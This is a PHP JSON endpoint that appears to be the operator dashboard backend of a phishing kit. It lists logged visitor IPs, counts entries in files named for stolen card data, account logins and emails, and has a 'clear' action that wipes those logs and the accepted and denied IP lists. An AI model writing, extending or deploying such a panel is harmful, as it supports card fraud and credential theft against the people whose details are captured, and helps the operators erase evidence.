<?php
session_start();
header('Content-Type: application/json');

// Only allow logged in users
if (!isset($_SESSION['username'])) {
    http_response_code(403);
    echo json_encode(['error' => 'Unauthorized']);
    exit;
}

$action = $_GET['action'] ?? '';
$logsDir = __DIR__ . '/../logs/';

switch ($action) {
    case 'ips':
        $file = $logsDir . 'ips.txt';
        $page = isset($_GET['page']) ? max(1, (int)$_GET['page']) : 1;
        $limit = isset($_GET['limit']) ? max(1, min(100, (int)$_GET['limit'])) : 25;
        
        if (file_exists($file)) {
            $lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            $lines = array_reverse($lines);
            $total = count($lines);
            $totalPages = ceil($total / $limit);
            $offset = ($page - 1) * $limit;
            $paginatedLines = array_slice($lines, $offset, $limit);
            
            echo json_encode([
                'data' => $paginatedLines,
                'pagination' => [
                    'page' => $page,
                    'limit' => $limit,
                    'total' => $total,
                    'totalPages' => $totalPages
                ]
            ]);
        } else {
            echo json_encode([
                'data' => [],
                'pagination' => [
                    'page' => 1,
                    'limit' => $limit,
                    'total' => 0,
                    'totalPages' => 0
                ]
            ]);
        }
        break;
        
    case 'counts':
        $files = [
            'siteVisitors' => 'accept-ips.txt',
            'cardDebit' => 'card.txt',
            'signAccount' => 'login.txt',
            'signEmail' => 'email.txt'
        ];
        
        $counts = [];
        foreach ($files as $key => $filename) {
            $path = $logsDir . $filename;
            if (file_exists($path)) {
                $lines = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                $counts[$key] = count($lines);
            } else {
                $counts[$key] = 0;
            }
        }
        echo json_encode($counts);
        break;
    
    case 'clear':
        $filesToClear = [
            'ips.txt',
            'accept-ips.txt',
            'denied-ips.txt',
            'card.txt',
            'login.txt',
            'email.txt',
            'data_webshop_logs.txt'
        ];
        
        $cleared = 0;
        foreach ($filesToClear as $filename) {
            $path = $logsDir . $filename;
            if (file_exists($path)) {
                file_put_contents($path, '');
                $cleared++;
            }
        }
        echo json_encode(['success' => true, 'cleared' => $cleared]);
        break;
        
    default:
        http_response_code(400);
        echo json_encode(['error' => 'Invalid action']);
}

